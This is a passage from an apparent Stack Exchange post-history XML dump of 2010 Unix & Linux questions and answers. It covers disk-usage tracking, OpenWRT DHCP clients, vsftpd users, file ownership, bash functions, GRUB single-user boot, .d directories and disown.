/storage&#xD;&#xA;    0     /sys&#xD;&#xA;    108K  /tmp&#xD;&#xA;    16G   /usr&#xD;&#xA;    4.3G  /var&#xD;&#xA;&#xD;&#xA;Now, You run that when the computer has freshly started and has not started to eat space yet and you save the output in a file ( `~/record-space` )&#xD;&#xA;&#xD;&#xA;    $ sudo du -hs /* 2&gt; /dev/null 1&gt; ~/record-space&#xD;&#xA;&#xD;&#xA;And then when your computer is nearing a &quot;FULL&quot; state, you can run the command again saving the output in a second file.&#xD;&#xA;&#xD;&#xA;    $ sudo du -hs /* 2&gt; /dev/null 1&gt; ~/record-space2&#xD;&#xA;&#xD;&#xA;Now you can compare these two files ( `~/record-space` and `~/record-space2` ) to see how the main directories differ...&#xD;&#xA;&#xD;&#xA;My favourite way of comparing files is using `diff`:&#xD;&#xA;&#xD;&#xA;    $ diff ~/record-space{,2}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8706" PostHistoryTypeId="5" PostId="3733" RevisionGUID="faf23c24-dee0-4b45-abf2-89712dea6412" CreationDate="2010-11-13T08:50:12.027" UserId="1327" Comment="deleted 34 characters in body" Text="I have a directory with about 100000 small files (each file is from 1-3 lines, each file is a text file). In size the directory isn't very big (&lt; 2GB). This data lives in a professionally administered NFS server. The server runs Linux. I think the filesystem is ext3, but I don't know for sure. Also, I don't have root access to the server.&#xD;&#xA;&#xD;&#xA;These files are the output of a large scale scientific experiment, over which I don't have control. However, I have to analyze the results.&#xD;&#xA;&#xD;&#xA;Any I/O operation/processing in this directory is very, very slow. Opening a file (fopen in python), reading from an open file, closing a file, are all very slow. In bash ls, du, etc. don't work.&#xD;&#xA;&#xD;&#xA;The question is:&#xD;&#xA;&#xD;&#xA;What is the maximum number of files in a directory in Linux in such a way that it is practical to do processing, fopen, read, etc? I understand that the answer depends on many things: fs type, kernel version, server version, hardware, etc. I just want a rule of thumb, if possible. " />
  <row Id="8707" PostHistoryTypeId="6" PostId="4009" RevisionGUID="090110c1-aea3-490a-b670-d8b971275a77" CreationDate="2010-11-13T09:30:58.997" UserId="1327" Comment="unless the answer proves otherwise, the laptop tag is unrelated." Text="éfedoraàédisköusageà" />
  <row Id="8708" PostHistoryTypeId="2" PostId="4014" RevisionGUID="f49ed0e6-486f-40d8-b5f6-86eb2b401e7f" CreationDate="2010-11-13T09:33:23.910" UserId="29" Text="I'm trying to determine the reason my router is not syncing up to my ISP, I do suspect snafu on there, end so I'm trying to replicate my desktops setup which includes using dhcpcd. Problem is I don't know how to tell OpenWRT to use that after I've installed it on OpenWRT. Can anyone tell me the steps to install and configure dhcpcd for WAN on OpenWRT? *(using backfire 10.03 on a WRT54GL)*" />
  <row Id="8709" PostHistoryTypeId="1" PostId="4014" RevisionGUID="f49ed0e6-486f-40d8-b5f6-86eb2b401e7f" CreationDate="2010-11-13T09:33:23.910" UserId="29" Text="How do I use dhcpcd in openwrt instead of udhcpc?" />
  <row Id="8710" PostHistoryTypeId="3" PostId="4014" RevisionGUID="f49ed0e6-486f-40d8-b5f6-86eb2b401e7f" CreationDate="2010-11-13T09:33:23.910" UserId="29" Text="élinuxàédhcpàéopenwrtàéudhcpcà" />
  <row Id="8711" PostHistoryTypeId="2" PostId="4015" RevisionGUID="2e240d76-8bbc-4e0a-ad0f-21f2185424ab" CreationDate="2010-11-13T09:54:09.637" UserId="2629" Text="Basically speaking, it seems the use of udhcpc is hardcorded into the helper scripts of `ifup` on OpenWRT.&#xD;&#xA;&#xD;&#xA;Basically, `ifup` is calling setup_interface, from `/lib/network/config.sh` which has hard coded references to udhcpc.  If you were to backup this file, and make the sufficient edits to the helper function, I imagine you would be able to use dhcpcd, however I make no guarantees that it would work, as I have not tried this.&#xD;&#xA;&#xD;&#xA;A bit of background, udhcpc does seem to be the preferred &amp; supported DHCP method in OpenWRT, and dhcpcd was only included due to it's support of RFC#3442 ([OpenWRT Ticket 1797][1]).&#xD;&#xA;&#xD;&#xA;  [1]: https://dev.openwrt.org/ticket/1797" />
  <row Id="8712" PostHistoryTypeId="2" PostId="4016" RevisionGUID="204d41ac-948c-433d-8ba4-1190dc37b2c4" CreationDate="2010-11-13T11:11:05.043" UserId="2063" Text="Anonymous / FTP users are allowed to access the FTP. Suppose if there is a user named as JOE then how can I allow him to access the FTP?&#xD;&#xA;" />
  <row Id="8713" PostHistoryTypeId="1" PostId="4016" RevisionGUID="204d41ac-948c-433d-8ba4-1190dc37b2c4" CreationDate="2010-11-13T11:11:05.043" UserId="2063" Text="How to allow a particular user to access the FTP? " />
  <row Id="8714" PostHistoryTypeId="3" PostId="4016" RevisionGUID="204d41ac-948c-433d-8ba4-1190dc37b2c4" CreationDate="2010-11-13T11:11:05.043" UserId="2063" Text="éftpà" />
  <row Id="8715" PostHistoryTypeId="2" PostId="4017" RevisionGUID="65d92a23-ab2a-4af5-b7ed-90a40b1585d8" CreationDate="2010-11-13T12:10:26.773" UserId="885" Text="Some distributions or desktop environments can show a warning if your available disk space drops below a certain threshold; here's how you can cobble your own. In a terminal, type [`crontab -e`](http://linux.die.net/man/5/crontab) (not as root); this will pop up an editor. Enter the following line:&#xD;&#xA;&#xD;&#xA;    */5 * * * * if [ &quot;$(df -P / | awk 'NR==2 {print $4}')&quot; -le 1048576 ]; then df /; fi&#xD;&#xA;&#xD;&#xA;This means every five minutes (`*/5 * * * *`), if the free disk space (`&quot;$(df -P / | …)&quot;`) drops below (`[ … -le … ]`) 1048576KB (1GB), send you a local mail with the free disk space (cron will send you the output of `df /`).&#xD;&#xA;&#xD;&#xA;You may notice that the “used” and “available” columns only account for 95% of the total; that's because of the [reserved space](http://unix.stackexchange.com/questions/2827/what-happened-to-my-free-space) and is not responsible for your problem (the reserved amount does not vary over time).&#xD;&#xA;&#xD;&#xA;The most likely places where something might be eating up your disk space are `/tmp`, `/var` and your home directory (including their subdirectories). I second [Stefan's tips](http://unix.stackexchange.com/questions/4009/disk-space-on-fedora-12/4013#4013) on setting up a baseline `du` output and comparing it with the output when the disk is full.&#xD;&#xA;&#xD;&#xA;If the space is freed when you boot, there can be several reasons. Some program is presumably creating large temporary files; maybe these files are cleaned up when the program terminates, maybe they're cleaned up during the boot process, maybe they're cleaned up when the program starts again. One case that you won't be able to observe with `du` is if the large files are deleted while the program is using them. When you delete a file on a unix system, only the file's name disappears at first (the file is “unlinked”); the file's contents only disappear when there are no longer any references to the file: neither a name nor a process having it open. In other words, if a program creates a large file, opens it and deletes it, the space is only reclaimed when the program closes the file (which happens automatically when the program dies). You can't see deleted files with `du`, but you can see them with [`lsof`](http://linux.die.net/man/8/lsof) (“&lt;strong&gt;l&lt;/strong&gt;i&lt;strong&gt;s&lt;/strong&gt;t &lt;strong&gt;o&lt;/strong&gt;pen &lt;strong&gt;f&lt;/strong&gt;iles”):&#xD;&#xA;&#xD;&#xA;    lsof | grep '(deleted)'&#xD;&#xA;&#xD;&#xA;In the lsof output, the next-to-last number before the file name (i.e. the 7th column) is the file size.&#xD;&#xA;" />
  <row Id="8716" PostHistoryTypeId="2" PostId="4018" RevisionGUID="1896bcfa-5aa2-4717-8375-39d9d8787def" CreationDate="2010-11-13T12:19:51.380" UserId="2596" Text="Not sure why you chose vsftpd, as the documentation is notoriously lacking/distributed.  However, to answer your question - the simplest method of allowing registered user access is through enabling local users:&#xD;&#xA;&#xD;&#xA;    # Uncomment this to allow local users to log in.&#xD;&#xA;    local_enable=YES&#xD;&#xA;&#xD;&#xA;There are other options, dependent on your needs, such as storing users in a database engine like MySQL.  For more pertinent information, please check the following pages:&#xD;&#xA;&#xD;&#xA; - [vsftpd configuration][1] - online man page&#xD;&#xA; - [viki (vsftpd community wiki)][2] - local user configuration&#xD;&#xA; - [viki (vsftpd community wiki)][3] - virtual user configuration (db)&#xD;&#xA;&#xD;&#xA;Assuming you meant you compiled vsftpd when you said &quot;I made my own&quot;, then this information should apply.  Let us know if this is an incorrect assumption or if the info provided doesn't assist.&#xD;&#xA;&#xD;&#xA;  [1]: http://vsftpd.beasts.org/vsftpd_conf.html&#xD;&#xA;  [2]: http://viki.brainsware.org/?en/Local_Users&#xD;&#xA;  [3]: http://viki.brainsware.org/?en/Virtual_Users" />
  <row Id="8717" PostHistoryTypeId="2" PostId="4019" RevisionGUID="cf7654f9-42db-4da6-9948-8b3ef17e7903" CreationDate="2010-11-13T12:21:02.580" UserId="539" Text="Also, see this&#xD;&#xA;http://stackoverflow.com/questions/466521/how-many-files-in-a-directory-is-too-many" />
  <row Id="8718" PostHistoryTypeId="5" PostId="4013" RevisionGUID="db75db35-c0d8-44f2-a48f-6aad01c8b97c" CreationDate="2010-11-13T12:33:57.120" UserId="1327" Comment="added 177 characters in body" Text="Firstly, you must find out what is eating away at your space. I'd suggest you track down the physical file or directory that grows to that size.&#xD;&#xA;&#xD;&#xA;The simplest way would be to check the directories in `/` using: ( I'd suggest running it as [root][1] )&#xD;&#xA;&#xD;&#xA;     # du -hs /* 2&gt; /dev/null&#xD;&#xA;    4.2M  /bin&#xD;&#xA;    25M   /boot&#xD;&#xA;    204K  /dev&#xD;&#xA;    6.7M  /etc&#xD;&#xA;    19G   /home&#xD;&#xA;    112M  /lib&#xD;&#xA;    16K   /lost+found&#xD;&#xA;    12K   /media&#xD;&#xA;    16K   /mnt&#xD;&#xA;    4.0K  /multimedia&#xD;&#xA;    1018M /opt&#xD;&#xA;    0     /proc&#xD;&#xA;    15M   /root&#xD;&#xA;    8.6M  /sbin&#xD;&#xA;    12K   /srv&#xD;&#xA;    4.2M  /storage&#xD;&#xA;    0     /sys&#xD;&#xA;    108K  /tmp&#xD;&#xA;    16G   /usr&#xD;&#xA;    4.3G  /var&#xD;&#xA;&#xD;&#xA;Now, You run that when the computer has freshly started and has not started to eat space yet and you save the output in a file ( `~/record-space` )&#xD;&#xA;&#xD;&#xA;    $ sudo du -hs /* 2&gt; /dev/null 1&gt; ~/record-space&#xD;&#xA;&#xD;&#xA;And then when your computer is nearing a &quot;FULL&quot; state, you can run the command again saving the output in a second file.&#xD;&#xA;&#xD;&#xA;    $ sudo du -hs /* 2&gt; /dev/null 1&gt; ~/record-space2&#xD;&#xA;&#xD;&#xA;Now you can compare these two files ( `~/record-space` and `~/record-space2` ) to see how th e main directories differ...&#xD;&#xA;&#xD;&#xA;My favourite way of comparing files is using `diff`:&#xD;&#xA;&#xD;&#xA;    $ diff ~/record-space{,2}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**update:** See Gille's comment to this answer. &#xD;&#xA;&#xD;&#xA;Instead of `du -hs /*`, rather use `du -xsh /tmp/* /var/*/* ~/.*`.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3063" />
  <row Id="8719" PostHistoryTypeId="2" PostId="4020" RevisionGUID="4cfe9adf-2697-420f-b215-2863926f76b2" CreationDate="2010-11-13T12:53:55.230" UserId="1327" Text="Is I understand Unix filesystems, any file on a unix system must belong to a group an a user of the said system. A file cannot belong to a group or user that does not exist on the system.&#xD;&#xA;&#xD;&#xA;From that assumtion, there are a few questions that come to mind. What happens to the group and user attributes when media is transferred between computers, be it via a flash drive, a cdrom or a network share. To whom does the file belong in the new system?&#xD;&#xA;&#xD;&#xA;Can you limit the data to only work on your system? ( Not talking about encryption here, just basics )&#xD;&#xA;&#xD;&#xA;Also, when you transfer data between two computers, are there ways to ensure that the group and user attributes stay intact ( what belongs to root will belong to root on the new system and the same with the normal user )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8720" PostHistoryTypeId="1" PostId="4020" RevisionGUID="4cfe9adf-2697-420f-b215-2863926f76b2" CreationDate="2010-11-13T12:53:55.230" UserId="1327" Text="How is file ownership affected across different systems?" />
  <row Id="8721" PostHistoryTypeId="3" PostId="4020" RevisionGUID="4cfe9adf-2697-420f-b215-2863926f76b2" CreationDate="2010-11-13T12:53:55.230" UserId="1327" Text="éfilesystemsà" />
  <row Id="8722" PostHistoryTypeId="5" PostId="2668" RevisionGUID="e2adb7b6-4999-4a8f-950c-e04cb22045a6" CreationDate="2010-11-13T12:59:00.670" UserId="1327" Comment="deleted 15 characters in body" Text="I answered [this question][1], *assuming* that the `*.img` file had a sector size of `512`. &#xD;&#xA;&#xD;&#xA;How do I query a device, or the image of a device, to find the correct sector size?&#xD;&#xA; &#xD;&#xA;  [1]:http://unix.stackexchange.com/questions/2661/mounting-a-img-file/2662#2662" />
  <row Id="8723" PostHistoryTypeId="5" PostId="2635" RevisionGUID="58d837c0-540a-4c58-a1d2-0f88712ce973" CreationDate="2010-11-13T13:03:36.033" UserId="1327" Comment="added 13 characters in body" Text="You can use the **UUID** to tie down the mount points.&#xD;&#xA;&#xD;&#xA;1. Find out the UUID of each disk using the command&#xD;&#xA;  &#xD;&#xA;        sudo blkid&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Add the device in your /etc/fstab by specifying the device along with UUID (rather than /dev/disk*:&#xD;&#xA;&#xD;&#xA;        UUID=&lt;UUID&gt; [Other options for fstab entry]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8724" PostHistoryTypeId="2" PostId="4021" RevisionGUID="5ed133bb-2e3f-498b-973c-76c7ab0c5e04" CreationDate="2010-11-13T13:59:53.187" UserId="31" Text="Each file and directory in most Unix filesystems have an associated numeric group and user id.  Then there is a mapping (/etc/passwd for users and /etc/group for groups) of ids to names.  When you transfer a file to another system, the numeric ids stay the same.  There may not be an name with that id on the new system.  So if you do a `ls -l`, you will see numbers instead of user names.&#xD;&#xA;&#xD;&#xA;The root user always has user id 0, so it will be the same on every system.  If you intend to move files often, you should make sure that users that are common between the two systems have the same user id on each.&#xD;&#xA;" />
  <row Id="8725" PostHistoryTypeId="2" PostId="4022" RevisionGUID="cffdeb19-d05b-4c6b-ad5d-c9c898ea5aeb" CreationDate="2010-11-13T14:10:53.263" UserId="885" Text="On all native unix filesystems, file ownership is stored in the form of user and group IDs. This is also the case for basic NFS operation (although there are other possibilities at least in NFSv4) and for traditional unix archive formats such as tar.&#xD;&#xA;&#xD;&#xA;A file can in fact belong to a user or group that doesn't exist. The file belongs to a particular ID, but there's no obligation that the ID is listed in `/etc/passwd` or other user or group database. For example, if you store your user database on NIS or LDAP, and the database server is temporarily inaccessible, the users' files still exist.&#xD;&#xA;&#xD;&#xA;When you carry removable media from one system to another, you should either ensure that user and group IDs match where relevant, or ignore ownership (e.g. by using a non-unix filesystem). Root is a bit of a special case because its defining characteristic is that the user ID is 0, everywhere.&#xD;&#xA;&#xD;&#xA;The only way to control what someone in physical possession of the media will do with the data is to use an intrinsic means of protection, i.e., one that is not dependent on how they access the system, and keep something to yourself. You can use a mathematical means of protection: cryptography (encryption for confidentiality, signing for integrity; you keep the password to yourself), or a physical means of protection (e.g. a locked box).&#xD;&#xA;" />
  <row Id="8726" PostHistoryTypeId="2" PostId="4023" RevisionGUID="c9241257-7467-4847-90d0-f8b85f050da3" CreationDate="2010-11-13T14:25:43.743" UserId="2333" Text="[This site][1] says, &quot;Shell functions are faster [than aliases]. Aliases are looked up after functions and thus resolving is slower. While aliases are easier to understand, shell functions are preferred over aliases for almost every purpose.&quot;&#xD;&#xA;&#xD;&#xA;Given that (true or not), how do shell functions compare to standalone shell scripts? Does one have particular advantages over the other, or better suited for certain types of tasks?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thegeekstuff.com/2010/04/unix-bash-alias-examples/" />
  <row Id="8727" PostHistoryTypeId="1" PostId="4023" RevisionGUID="c9241257-7467-4847-90d0-f8b85f050da3" CreationDate="2010-11-13T14:25:43.743" UserId="2333" Text="bash functions vs scripts" />
  <row Id="8728" PostHistoryTypeId="3" PostId="4023" RevisionGUID="c9241257-7467-4847-90d0-f8b85f050da3" CreationDate="2010-11-13T14:25:43.743" UserId="2333" Text="ébashà" />
  <row Id="8729" PostHistoryTypeId="2" PostId="4024" RevisionGUID="f2dd6210-46df-4674-952b-d20ed668a827" CreationDate="2010-11-13T15:06:06.350" UserId="885" Text="The main difference between aliases and functions is that aliases don't take arguments¹, but functions do. When you write something like `alias l='ls --color'`, `l foo` is expanded to `ls --color foo`; you can't grab `foo` into the alias expansion and do something different with it the way you can do with a function. See also [How to pass parameter to alias?](http://unix.stackexchange.com/questions/3773/how-to-pass-parameter-to-alias/3776#3776).&#xD;&#xA;&#xD;&#xA;Aliases are looked up *before* functions: if you have both a function and an alias called `foo`, `foo` invokes the alias. (If the alias `foo` is being expanded, it's temporarily blocked, which makes things like `alias ls='ls --color'` work. Also, you can bypass an alias at any time by running `\foo`.) I wouldn't expect to see a measurable performance difference though.&#xD;&#xA;&#xD;&#xA;Functions and standalone scripts have mostly similar capabilities; here are a few differences I can think of:&#xD;&#xA;&#xD;&#xA;* A function runs inside the shell environment; a script runs in a separate process. Therefore a function can *change* the shell environment: define environment variables, change the current directory, etc. A standalone script can't do that.&#xD;&#xA;* A function must be written in the language of the shell you want to use it in. A script can be written in any language.&#xD;&#xA;* Functions are loaded when they are defined. Scripts are loaded each time they are invoked. This has several consequences:&#xD;&#xA;    * If you modify a script, you get the new version the next time you invoke it. If you change a function's definition, you have to reload the definition.&#xD;&#xA;    * Functions are faster on heavily loaded systems.&#xD;&#xA;    * If you have a lot of functions that you may not use, they'll take up memory. Ksh and zsh, but I think not bash, have a form of function autoloading.&#xD;&#xA;&#xD;&#xA;Something that's intermediate between a function and a standalone script is a script snippet that you read with the `source` or `.` builtin. Like a function, it can modify the shell's environment, and must be written in the shell's language. Like a script, it is loaded each time it's invoked and no sooner.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Yeah, I know, this doesn't apply to tcsh.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="8730" PostHistoryTypeId="2" PostId="4025" RevisionGUID="99c7de70-16f4-42da-bc56-cf2f964d51b1" CreationDate="2010-11-13T15:29:02.547" UserId="2648" Text="hm, maybe this one:&#xD;&#xA;&#xD;&#xA;&gt; In a world without fences who needs gates.&#xD;&#xA;&#xD;&#xA;I know it's lame but true too :)" />
  <row Id="8731" PostHistoryTypeId="5" PostId="4025" RevisionGUID="6adffddc-173b-48cc-a23b-56922cfc8f6e" CreationDate="2010-11-13T15:48:55.047" UserId="1327" Comment="added 20 characters in body" Text="hm, maybe this one:&#xD;&#xA;&#xD;&#xA;&gt; In a world without walls or fences who needs windows or gates.&#xD;&#xA;&#xD;&#xA;I know it's lame but true too :)" />
  <row Id="8732" PostHistoryTypeId="2" PostId="4026" RevisionGUID="96211e92-5d79-4a50-ba2b-030d985d0681" CreationDate="2010-11-13T15:54:22.610" UserId="2648" Text="Debian netinstall is really simple to use: http://www.debian.org/CD/netinst/&#xD;&#xA;It may look like it's hard to use but installer asks you a bunch of questions and all you have to do is to answer them and voila: you will have minimal system (it uses 36-38 mb of ram in idle mode with irssi on my pc without X)." />
  <row Id="8733" PostHistoryTypeId="2" PostId="4027" RevisionGUID="1eff7c18-8720-4055-8bf7-a151c91ec7bc" CreationDate="2010-11-13T16:54:19.030" UserId="2579" Text="I have a problem with an older Laptop (Fujitsu Siemens LifeBook  S6010, to be precise) and an Ubuntu (10.10, Xubuntu desktop) installation (fresh install).&#xD;&#xA;&#xD;&#xA;During installation the graphics hardware was mis-detected and it now is completely impossible to boot the system into GUI. Any attempt to invoke graphics mode will freeze the machine.&#xD;&#xA;&#xD;&#xA;Therefore I'd like to boot the machine into text mode to see if I can fix the graphics issue — probably material for another question, if and when I get there.&#xD;&#xA;&#xD;&#xA;However, I was unsuccessful at telling GRUB (1.98) to *not use any graphics, at all*. I can get to the GRUB menu and edit one of the available boot configurations, but whatever I tried to express &quot;text only&quot;, everything failed (i.e. machine still invokes graphics during boot and promptly becomes unusable).&#xD;&#xA;&#xD;&#xA;I have no easy other way to get into the machine (it cannot not boot from CD or USB, for example). So: What do I need to do to tell GRUB *at the boot menu* to stop it from using any fancy stuff and get me to a text console?" />
  <row Id="8734" PostHistoryTypeId="1" PostId="4027" RevisionGUID="1eff7c18-8720-4055-8bf7-a151c91ec7bc" CreationDate="2010-11-13T16:54:19.030" UserId="2579" Text="How do I prevent GRUB from using/starting any graphical UI?" />
  <row Id="8735" PostHistoryTypeId="3" PostId="4027" RevisionGUID="1eff7c18-8720-4055-8bf7-a151c91ec7bc" CreationDate="2010-11-13T16:54:19.030" UserId="2579" Text="éubuntuàégrubà" />
  <row Id="8742" PostHistoryTypeId="2" PostId="4029" RevisionGUID="df7a428c-3f8e-4899-9b05-4bcaa10bfdf3" CreationDate="2010-11-13T17:11:00.080" UserId="653" Text="I know many directories with .d in their name:&#xD;&#xA;&#xD;&#xA;    init.d&#xD;&#xA;    yum.repos.d&#xD;&#xA;    conf.d&#xD;&#xA;&#xD;&#xA;Does it mean directory? If yes, from what does this disambiguate?" />
  <row Id="8743" PostHistoryTypeId="1" PostId="4029" RevisionGUID="df7a428c-3f8e-4899-9b05-4bcaa10bfdf3" CreationDate="2010-11-13T17:11:00.080" UserId="653" Text="What does the .d mean in directory names?" />
  <row Id="8744" PostHistoryTypeId="3" PostId="4029" RevisionGUID="df7a428c-3f8e-4899-9b05-4bcaa10bfdf3" CreationDate="2010-11-13T17:11:00.080" UserId="653" Text="édirectoryàéfhsà" />
  <row Id="8745" PostHistoryTypeId="2" PostId="4030" RevisionGUID="8555a4c4-e2c5-4492-8028-3b025249cf32" CreationDate="2010-11-13T17:14:37.330" UserId="250" Text="You can enter single user mode by passing the parameter `single` to the kernel. It will give you a terminal with root privileges. To boot into single user mode, from the GRUB menu press &lt;kbd&gt;c&lt;/kbd&gt;, then look for the line that looks like&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4&#xD;&#xA;&#xD;&#xA;and change it to&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 single" />
  <row Id="8746" PostHistoryTypeId="5" PostId="4030" RevisionGUID="7fc38e90-8530-44f5-bbe6-89bb100f4617" CreationDate="2010-11-13T17:18:58.560" UserId="885" Comment="suggest removing `quiet splash` as well" Text="You can enter single user mode by passing the parameter `single` to the kernel. It will give you a terminal with root privileges. To boot into single user mode, from the GRUB menu press &lt;kbd&gt;c&lt;/kbd&gt;, then look for the line that looks like&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro quiet splash&#xD;&#xA;&#xD;&#xA;and change it to&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro single" />
  <row Id="8747" PostHistoryTypeId="2" PostId="4031" RevisionGUID="cd95ea10-59bd-4091-ae3b-17462a1f5a8c" CreationDate="2010-11-13T17:25:19.237" UserId="250" Text="My laptop has an Atheros AR9285 wireless card. By following the &quot;Network Configuration&quot; section in the Gentoo handbook I chose the ath9k module. The modules seem to be loaded correctly:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# lsmod | grep ath&#xD;&#xA;ath9k                  72172  0 &#xD;&#xA;ath9k_common            2345  1 ath9k&#xD;&#xA;mac80211              146807  2 ath9k,ath9k_common&#xD;&#xA;ath9k_hw              213153  2 ath9k,ath9k_common&#xD;&#xA;ath                     8652  2 ath9k,ath9k_hw&#xD;&#xA;cfg80211              112782  4 ath9k,ath9k_common,mac80211,ath&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And the interface also shows up in ifconfig:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;wlan0     Link encap:Ethernet  HWaddr 00:22:43:61:a2:f0  &#xD;&#xA;          UP BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:1000 &#xD;&#xA;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;However, I cannot do a network scan:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# iwlist wlan0 scanning&#xD;&#xA;wlan0     Interface doesn't support scanning.&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And the interface doesn't seem to be recognized:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# iwconfig wlan0&#xD;&#xA;wlan0     no wireless extensions.&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;What can I try to make it work?&#xD;&#xA;&#xD;&#xA;PS: I also have Ubuntu on this laptop and wireless is working fine." />
  <row Id="8748" PostHistoryTypeId="1" PostId="4031" RevisionGUID="cd95ea10-59bd-4091-ae3b-17462a1f5a8c" CreationDate="2010-11-13T17:25:19.237" UserId="250" Text="Configure Atheros AR9285 wireless in Gentoo" />
  <row Id="8749" PostHistoryTypeId="3" PostId="4031" RevisionGUID="cd95ea10-59bd-4091-ae3b-17462a1f5a8c" CreationDate="2010-11-13T17:25:19.237" UserId="250" Text="énetworkingàéwirelessàégentooà" />
  <row Id="8750" PostHistoryTypeId="5" PostId="4030" RevisionGUID="ecee7bce-cab4-4598-8928-794e7af2fdd3" CreationDate="2010-11-13T17:26:52.120" UserId="250" Comment="correct key should be 'e'" Text="You can enter single user mode by passing the parameter `single` to the kernel. It will give you a terminal with root privileges. To boot into single user mode, from the GRUB menu press &lt;kbd&gt;e&lt;/kbd&gt;, then look for the line that looks like&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro quiet splash&#xD;&#xA;&#xD;&#xA;and change it to&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro single" />
  <row Id="8751" PostHistoryTypeId="2" PostId="4032" RevisionGUID="15ba653b-d1e0-4c83-bf1f-8b5b8d7c1ebf" CreationDate="2010-11-13T17:33:12.980" UserId="2629" Text="It doesn't mean directory per se, basically what is happening is that directories that end in '.d' (note these are usually only ever in /etc), take configuration parts.&#xD;&#xA;&#xD;&#xA;This is designed so distros can include universal defaults in for instance /etc/yum.conf, but then there is a easy to use method for users or other packages to append their own yum configurations in a safe way that won't be overwritten.&#xD;&#xA;&#xD;&#xA;As an example for yum...&#xD;&#xA;&#xD;&#xA;If I wanted to start using EPEL on my RHEL5 or CentOS Box, I can configure a new repository in the /etc/yum.repos.d folder, (say /etc/yum.repos.d/epel.repo) or install the epel-release package that creates the file automatically, without modifying my default configuration or causing file conflicts that don't need to happen.&#xD;&#xA;&#xD;&#xA;What will happen, is most programs will read their default configuration (/etc/yum.conf for instance) and then iterate over their .d folders including configuration snippets into the running program.&#xD;&#xA;&#xD;&#xA;Hope it explains it for you." />
  <row Id="8752" PostHistoryTypeId="2" PostId="4033" RevisionGUID="7375bcfc-dd3e-4a2a-833d-62dbf753b28b" CreationDate="2010-11-13T17:39:59.997" UserId="2652" Text="More generally, the .d directories (/etc/httpd/conf.d, /etc/rc.d, /etc/being another example), indicates that the files contained will be read and used, often for configuration, if they match a given pattern and do not require being explicitly added to some master list.&#xD;&#xA;&#xD;&#xA;So if you add files of the form *.repo to /etc/yum.repos.d, yum will use it when running without needing to add it to a list of configurations /etc/yum.conf. If you add files of the form *.conf to /etc/http/conf.d, they will be read by Apache without needing to be explicitly added to /etc/httpd/conf/httpd.conf. Similarly, chkconfig to files in /etc/init.d, cron jobs in /etc/cron.d." />
  <row Id="8753" PostHistoryTypeId="2" PostId="4034" RevisionGUID="f408aff7-7046-4644-8c71-51d55bf829ee" CreationDate="2010-11-13T18:04:54.460" UserId="2651" Text="I think the title says it all. I have a running program on an ssh shell. I want to pause it and be able to unpause it's execution when I come back. One way I thought of doing that was to transfer it's ownership to a screen shell, thus keeping it running in there... unless there is a different way to proceed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8754" PostHistoryTypeId="1" PostId="4034" RevisionGUID="f408aff7-7046-4644-8c71-51d55bf829ee" CreationDate="2010-11-13T18:04:54.460" UserId="2651" Text="How can I pause up a running process over ssh, disown it, associate it to a new screen shell and unpause it?" />
  <row Id="8755" PostHistoryTypeId="3" PostId="4034" RevisionGUID="f408aff7-7046-4644-8c71-51d55bf829ee" CreationDate="2010-11-13T18:04:54.460" UserId="2651" Text="ésshàéscreenàédisownà" />
  <row Id="8759" PostHistoryTypeId="2" PostId="4035" RevisionGUID="62f66b9b-c46c-4785-9ab5-383d45bb606d" CreationDate="2010-11-13T18:31:40.707" UserId="885" Text="Sorry, this may not be possible.&#xD;&#xA;&#xD;&#xA;You can revoke “ownership” of the program from the shell with the `disown` built-in:&#xD;&#xA;&#xD;&#xA;    # press Ctrl+Z to suspend the program&#xD;&#xA;    bg&#xD;&#xA;    disown&#xD;&#xA;&#xD;&#xA;However this only tells the shell not to send a `SIGHUP` signal to the program when the shell exits. The program will retain any connection it has with the terminal, usually as standard input, output and error streams. There is no way to reattach those to another terminal. ([Screen](http://www.gnu.org/software/screen) works by emulating a terminal for each window, so the programs are attached to the screen window.)&#xD;&#xA;&#xD;&#xA;It may be possible to reattach the filedescriptors to a different file by attaching the program in a debugger and making it call `open`, `dup` and `close`. This requires that you know very precisely what you're doing.&#xD;&#xA;" />
